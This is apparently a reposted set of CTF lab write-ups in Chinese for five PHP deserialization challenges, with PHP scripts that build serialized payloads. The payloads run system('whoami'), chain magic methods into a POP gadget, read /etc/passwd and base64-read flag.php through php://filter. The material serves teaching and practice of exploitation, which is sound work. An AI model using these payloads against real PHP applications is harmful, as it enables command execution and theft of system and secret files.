PHP反序列化命令执行+PHP反序列化POP大链 +PHP反序列化基础

news2024/12/24 2:18:01

[题目信息]:

题目名称题目难度
PHP反序列化命令执行1

[题目考点]:

反序列化命令执行,获取题目flag。

[Flag格式]:

SangFor{t5euvZ_OB8Jd_h2-}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

name赋值为system,$male赋值为whoami,即调用system(whoami)

<?php
class A{
    public $name;
    public $male;

}
$a = new A();
$a -> name = "system";
$a -> male = "whoami";
echo serialize($a);

?>

5、序列化结果:

6、最终结果:







[题目信息]:

题目名称题目难度
PHP反序列化POP大链2

[题目考点]:

通过多个类中不同的魔术方法,构造反序列化POP链,获取题目flag。

[Flag格式]:

SangFor{qMWi3Uhs1r2uX6FB}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

实验主页

代码分析

1、首先通读代码,代码中存在6个类,每一个类中定义了两个变量,同时每个类中定义了不同的魔术方法。

__desctruct()
类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制。
__toString()
在对象当做字符串的时候会被调用
___call() 
当所调用的成员方法不存在(或者没有权限)该类时调用,用于对错误后做一些操作或者提示信息
__invoke()
直接调用对象名当方法使用时,就调用的是__invoke()方法

2、我们的目标是获取flag,函数getFlag()在类getFlag类中,而__destruct()魔术方法可以作为POP链的触发点

3、通过构造POP链,把__destruct()函数作为触发点,getFlag()函数作为终止点,最终获取flag

<?php
class start_gg
{
        public $mod1; 
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1; 
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func //1
{
        public $mod1; //string1
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1 //2
{
        public $str1; //GetFlag
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag //3
{
        public function get_flag()
        {
                echo "i,m ok xxxxxxxx";
        }
}
$GetFlag    = new GetFlag();    
$func       = new func();
$string1    = new string1();
$funct      = new funct();
$Call       = new Call();
$start_gg   = new start_gg();

$start_gg->mod1 = $Call;
//pop链起始点
$Call->mod1 = $funct;
#类Call中的变量$mod1设置为funct的实例化对象,当调用$mod1中的test2()方法,funct类中并不存在test2()成员方法(函数),就会自动寻找魔术方法__call()并调用它
$funct->mod1 = $func;
#类funct中的mod1设置为类func的实例化对象,在代码中 $s1 = $this->mod1;$s1<==>$func类的实例化对象,$s1()是调用函数的方法,但现在$s1为类的实例化对象,所有会自动寻找并调用func类中的__invoke魔术方法

$func->mod1 = $string1;
#现在POP链执行了func中的魔术方法__invoke, $this->mod2 = "字符串拼接".$this->mod1;代码会被执行,其中$mod1被当作字符串处理,可以将$mod1设置为class string1的实例化对象,会自动搜索并调用类string1中的__string()魔术方法
$string1->str1 = $GetFlag;
#最后,将类string中的变量$str1设置为类GetFlag的实例化对象,会调用$this->str1->get_flag();获取flag

echo serialize($start_gg);

5、输出序列化内容为(红框内容不需要):

6、最终结果:









[题目信息]:

题目名称题目难度
PHP反序列化pop链基础1

[题目考点]:

PHP反序列化pop链基础

[Flag格式]:

SangFor{reIqYxxlWeD4bABr}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

实验主页

代码分析

1、首先定义类A,类B

2、在类A中存在公有变量$classname和__destruct()魔术方法,在魔术方法中调用了类B中的read_file()函数

类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制

3、在类B中,定义了私有变量$filename,同时,read_file()函数中存在file_get_contents()函数,并且参数为$filename。

4、最后存在unserialize()函数,同时参数也可控

利用方法

1、实例化类A

2、并且将类A中的公有变量$classname赋值为类B的实例化对象

那么,当实例化类A的同时也实例化了类B

3、然后将类B中的私有变量$filename赋值所需读取文件名称

4、将实例化类A序列化并输出

5、最后将输出结果通过GET方式输入

<?php
class A{
	public $classname;
}
class B{
	private $filename="/etc/passwd";
}
$a = new A();
$a -> classname = new B();

echo urlencode(serialize($a));
?>

5、输出序列化内容为:

6、最终结果:

既然可以读取passwd文件,那么尝试读一下flag.php文件吧!







[题目信息]:

题目名称题目难度
PHP反序列化基础-21

[题目考点]:

PHP反序列化基础2

[Flag格式]:

SangFor{8wTFrFxSKMzXM3ng}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

实验主页

代码分析

1、首先定义类Ser

2、第二行定义公有变量 $name

3、存在魔术方法wakeup

当实例化的类反序列化时会自动触发__wakeup()魔术方法

4、在__wakeup函数中存在file_get_contents()函数,并且参数为$name,可控(注意成员变量$name为私有类型)

成员变量大致可以分为三类:

  • public 共有类型
  • private 私有类型
  • protected 被保护类型

当成员变量为私有类型时,当$name被反序列化时,前后为%00。

如果不做处理,在cmd命令行中显示类似于空格,复制到url地址栏时会被转化为%20,也就是空格的url编码,所以需要将输出的结果进行url。

5、最后存在unserialize()函数,并且参数可控

利用方法

1、实例化类Ser

2、使用php://filter伪协议,$name赋值所需读取文件名称

3、将实例化类Ser序列化并输出

4、将输出结果通过GET方式输入

<?php 
class Ser{
	private $name = "php://filter/read=convert.base64-encode/resource=flag.php";
}
$a = new Ser();
echo urlencode(serialize($a));
?>

将base64进行解码。









[题目信息]:

题目名称题目难度
PHP反序列化基础1

[题目考点]:

1. PHP反序列化基础

[Flag格式]:

SangFor{k26Bj-V9ENIY7tBy}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

实验主页

代码分析

1、首先定义类Ser

2、第二行定义公有变量 $name

3、存在魔术方法 __toString

当实例化的类被当作字符串处理时会自动触发__toString魔术方法

4、在__toString函数中存在file_get_contents()函数,并且参数为$name,可控

5、最后存在unserialize()函数,并且参数可控

利用方法

1、实例化类Ser

2、使用php://filter伪协议,$name赋值所需读取文件名称

3、将实例化类Ser序列化并输出

4、将输出结果通过GET方式输入

<?php 
class Ser{
	public $name = "php://filter/read=convert.base64-encode/resource=flag.php";
}
$a = new Ser();
echo serialize($a);
?>

将base64进行解码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1601611.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ArcGIS三维景观分层显示

今天将向大家介绍的事在ArcGIS中如何创建多层三维显示。 地表为影像的 地表为地形晕渲的 在土壤分层、油气分层等都有着十分重要的应用。下面我们具体来看看实现过程 一、 准备数据及提取栅格范围 我们这次准备的数据是之前GIS100例-30讲的案例数据。《ArcGIS三维影像图剖面图…

【网站项目】学习资料销售平台 小程序

&#x1f64a;作者简介&#xff1a;拥有多年开发工作经验&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。&#x1f339;赠送计算机毕业设计600个选题excel文件&#xff0c;帮助大学选题。赠送开题报告模板&#xff…

用c++写一个代码解析器需要向哪方面学习?

我以前在中小游戏公司工作的时候&#xff0c;其中一项比较琐碎的工作就是为游戏项目建库建表&#xff0c;主要是为了做数据分析。作为一个职能部门的打杂PHP&#xff0c;对游戏业务并没有什么发言权&#xff0c;但是每次建库建表&#xff0c;却是苦不堪言。 同时部门的基础设施…

EPP和EDR是什么,如何提高端点安全性

端点保护平台&#xff08;EPP&#xff09;和端点检测和响应&#xff08;EDR&#xff09;工具是两种常用于保护端点系统免受威胁的安全产品。EPP 是一种全面的安全解决方案&#xff0c;提供一系列功能来检测和防止对端点设备的威胁。同时&#xff0c;EDR专门用于实时监控、检测和…

CC254X 8051芯片手册介绍

1 8051CPU 8051是一种8位元的单芯片微控制器&#xff0c;属于MCS-51单芯片的一种&#xff0c;由英特尔(Intel)公司于1981年制造。Intel公司将MCS51的核心技术授权给了很多其它公司&#xff0c;所以有很多公司在做以8051为核心的单片机&#xff0c;如Atmel、飞利浦、深联华等公…

AI讲师大模型培训老师叶梓:大模型应用的方向探讨

大模型应用的关键方向及其落地案例可以从多个角度进行探讨&#xff0c;结合最新的研究和实际应用案例&#xff0c;我们可以更全面地理解这些技术如何推动社会和经济的发展。 Agent&#xff08;数字代理&#xff09;: 方向说明:Agent方向的AI技术旨在创建能够独立执行任务、做出…

redis_watchDog机制

文章目录 介绍机制介绍任务开始任务释放 介绍 redis的watchDog机制实现了超时续约的功能&#xff0c;简单来说就是在获取锁成功以后&#xff0c;开启一个定时任务&#xff0c;这个任务每隔一段时间(relaseTime / 3)&#xff0c;重置超时时间&#xff0c;避免的因业务阻塞导致锁…

比特币L2项目主网密集上线:新业态背后的挑战与机遇

随着加密货币行业的快速发展&#xff0c;比特币Layer 2&#xff08;以下简称L2&#xff09;项目的主网密集上线成为了近期的热点话题。这一潮流不仅是对比特币网络扩展的重要里程碑&#xff0c;也为新的商业模式和生态系统带来了无限可能。然而&#xff0c;随之而来的是各种挑战…

支付宝支付之SpringBoot整合支付宝入门

支付宝支付 对接流程 申请阿里支付官方企业账号配置应用签约产品获取RSAKey&#xff08;非对称加密&#xff09;必须获得两个加密串&#xff1a;一个公钥&#xff0c;一个密钥SDK功能开发业务对接支付回调支付组件 核心所需的参数 APPID商家私钥支付宝公钥支付回调地址网关…

实战纪实 | 学工平台平行越权

一.账号密码可爆破&#xff08;无验证码&#xff09; 1.学校学工平台用于请假跟每日上报健康信息&#xff0c;登录框如下&#xff1a; 2.经过测试发现这里不存在验证码验证&#xff0c;并且存在初始密码&#xff0c;可以尝试使用默认密码爆破账号&#xff1a; 3.经测试&#x…

【无标题】PHP-parse_str变量覆盖

[题目信息]&#xff1a; 题目名称题目难度PHP-parse_str变量覆盖1 [题目考点]&#xff1a; 变量覆盖指的是用我们自定义的参数值替换程序原有的变量值&#xff0c;一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。 经常导致变量覆盖漏洞场景有&#xff1a;$$&…

自动化测试Selenium(3)

目录 WebDriver相关API 打印信息 打印title 打印url 浏览器的操作 浏览器最大化 设置浏览器的宽,高 操作浏览器的前进, 后退, 刷新 控制浏览器滚动条 键盘事件 键盘单键用法 键盘组合按键用法 鼠标事件 WebDriver相关API 打印信息 打印title 即打印该网址的标题.…

护网行动 | 蓝队应急响应流程概述

了解蓝队应急响应的流程 应急响应通常是指为了应对各种意外事件发生前所做的准备&#xff0c;以及在意外事件发生后所采取的措施。 网络安全应急响应是指对已经发生或可能发送的安全事件进行监控、分析、协调、处理、保护资产安全。 网络安全应急响应主要是为了让人们对网络安全…

idea2023专业版安装破解+maven配置教程

前言 上一篇文章已经介绍了maven在Win10系统的安装配置教程。基于Win10的maven配置环境&#xff0c;本篇文章将介绍idea2023的安装破解教程及maven在idea2023的配置教程&#xff08;同时会将maven在idea2023的配置教程内容补充至上一篇文章&#xff09;。 一、idea2023下载安…

【学习】jemter中如何高效使用正则表达式

在Jemter的世界里&#xff0c;正则表达式无疑是一把锐利的剑&#xff0c;它可以帮助我们轻松地解决许多问题。在Jemter的性能测试过程中&#xff0c;我们常常需要提取响应中的某些数据&#xff0c;以便在后续的请求中使用。这时&#xff0c;正则表达式就派上用场了。通过学习如…

Linux进阶篇:Centos7搭建smb服务

Centos7搭建smb服务 1 smb介绍 Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件&#xff0c;由服务器及客户端程序构成。SMB&#xff08;Server Messages Block&#xff0c;信息服务块&#xff09;是一种在局域网上共享文件和打印机的一种通信协议&#xff0c;它为局域…

C语言学习笔记之指针(二)

指针基础知识&#xff1a;C语言学习笔记之指针&#xff08;一&#xff09;-CSDN博客 目录 字符指针 代码分析 指针数组 数组指针 函数指针 代码分析&#xff08;出自《C陷阱和缺陷》&#xff09; 函数指针数组 指向函数指针数组的指针 回调函数 qsort() 字符指针 一…

内网隧道技术总结

隧道技术解决的是网络通信问题&#xff0c;因为在内网环境下&#xff0c;我们不同的内网主机管理员会进行不同的网络配置&#xff0c;我们就需要使用不同的方式去控制我们的内网主机。隧道技术是一个后渗透的过程&#xff0c;是可以是我们已经取得了一定的权限&#xff0c;在这…

元数据管理Atlas

文章目录 一、Atlas概述1、Atlas入门2、Atlas架构原理 二、Atlas安装1、安装环境准备1.1 安装Solr-7.7.31.2 Atlas2.1.0安装 2、Atlas配置2.1 Atlas集成Hbase2.2 Atlas集成Solr2.3 Atlas集成Kafka2.4 Atlas Server配置2.5 Kerberos相关配置2.6 Atlas集成Hive 3、Atlas启动 三、…

一次配置Docker环境的完整记录

一次配置Docker环境的完整记录 Docker环境搭建报错与解决报错一报错二报错三 Docker环境搭建 本节介绍了一次配置docker环境的完整记录&#xff1a; 编写Dockerfile文件&#xff1a; FROM pytorch/pytorch:1.10.0-cuda11.3-cudnn8-develRUN rm /etc/apt/sources.list.d/cuda.l…